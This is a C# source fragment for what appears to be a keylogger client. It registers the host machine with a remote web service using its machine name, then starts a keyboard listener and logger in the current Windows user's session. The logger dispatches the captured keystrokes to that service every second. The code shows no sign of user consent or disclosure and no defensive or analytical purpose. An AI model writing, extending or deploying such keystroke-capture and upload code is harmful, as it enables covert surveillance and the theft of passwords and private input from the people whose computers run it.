async Task <bool> TryRegisterAsync() { var webservice = new Webservice.Client(); try { var registrationInfo = new RegistrationInfo { Hostname = Environment.MachineName, FileVersion = Program.FileVersion }; this.webserviceAuthToken = await webservice.RegisterAsync(Program.RegistrationToken, registrationInfo, cts.Token).ConfigureAwait(false); var saveState = TrySaveStateAsync(); return(true); } catch (OperationCanceledException) when(cts.IsCancellationRequested) { return(false); } catch (WebException exception) when(exception.Status == WebExceptionStatus.ConnectFailure) { Program.Trace(exception.Message); } catch (Exception exception) { Program.Trace(exception.Message); } return(false); }
/// <summary> /// Starts logger in current user session /// </summary> /// <param name="webserviceAuthToken">Authentication token returned by an earlier call to Webservice.Register </param> /// <param name="userAccountID">The ID, corresponding to the currently logged in Windows user, as returned by an earlier call to Webservice.CreateUserAccount</param> public void Start(string webserviceAuthToken, string userAccountID) { lock (startStopSyncObj) { if (Active) { return; } Active = true; webservice = new Webservice.Client(webserviceAuthToken); this.userAccountID = userAccountID; listener = new KeyboardListener(); logger = new KeyboardLogger(listener, TimeSpan.FromSeconds(1), OnDispatch: DispatchLogs); } }